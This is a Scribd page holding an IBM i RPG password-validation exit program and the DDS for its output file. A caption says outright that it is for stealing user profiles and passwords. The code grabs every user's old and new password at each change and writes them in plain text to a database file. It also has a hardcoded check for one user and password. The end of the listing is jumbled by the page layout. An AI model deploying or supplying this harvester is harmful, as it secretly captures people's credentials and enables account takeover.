100% found this document useful (1 vote)
93 views

Exit Program

This exit program is called when a user changes their password. It retrieves the old and new password from the exit parameters. It then opens a physical file to write the user profile, old password, and new password. It checks if the user is 'SHANNON' and the new password is 'YELLOW', and returns a value to allow or disallow the password change based on custom conditions.

Uploaded by

rachmat99
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
93 views

Exit Program

This exit program is called when a user changes their password. It retrieves the old and new password from the exit parameters. It then opens a physical file to write the user profile, old password, and new password. It checks if the user is 'SHANNON' and the new password is 'YELLOW', and returns a value to allow or disallow the password change based on custom conditions.

Uploaded by

rachmat99
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

************************************************************************** * User Profile Exit Program - Called when User Changes Their Password * * Attach to Exit Point: QIBM_QSY_VLD_PASSWRD

VLDP0100 * * NOTE: System Value QPWDVLDPGM must be set to *REGFAC to use this * Exit Program * ************************************************************************** * * To Create: CrtBndRPG(*LIBL/CHGPWDEXIT) * ************************************************************************** * FCHGPWDP1 O E DISK USROPN * D RtrnIndic S 1a * D ExitInfo DS D ExitPN 20A D ExitPF 8A D PWDLVL 10i 0 D UserProf 10a D Rsvd 2a D OffTOOLD 10i 0 D LenOFOLD 10i 0 D CCSIDofOldPwd 10i 0 D OffTONEW 10i 0 D LenOFNEW 10i 0 D CCSIDofNewPwd 10i 0 D PasswordData 1000a * D OldPassword 10a D NewPassword 10a * C *Entry Plist C Parm ExitInfo C Parm RtrnIndic * C Eval OldPassword = %Subst(ExitInfo:OffToOld + 1: C LenofOld) C Eval NewPassword = %Subst(ExitInfo:OffToNew + 1: C LenofNew) * C Open ChgPwdP1 C Movel UserProf UserID C Movel NewPassword NewPWD C Movel OldPassword OldPWD C Write Rpwd C Close ChgPwdP1 * * Evaluate the User Password Change * For specific users, and allow/disallow based on your own conditions c If UserProf = 'SHANNON' C If NewPassword = 'YELLOW' C Eval RtrnIndic = '1' C Else C Eval RtrnIndic = '0' C Endif C Else

C C C

Eval Endif Eval

RtrnIndic = '0' *Inlr = *On

RPG Exit Program for stealing User Profile/Passwords A A A A R RPWD USERID OLDPWD NEWPWD

10A 10A 10A

DDS for CHGPWDP1 Physical File to store user profile/password information in.

You might also like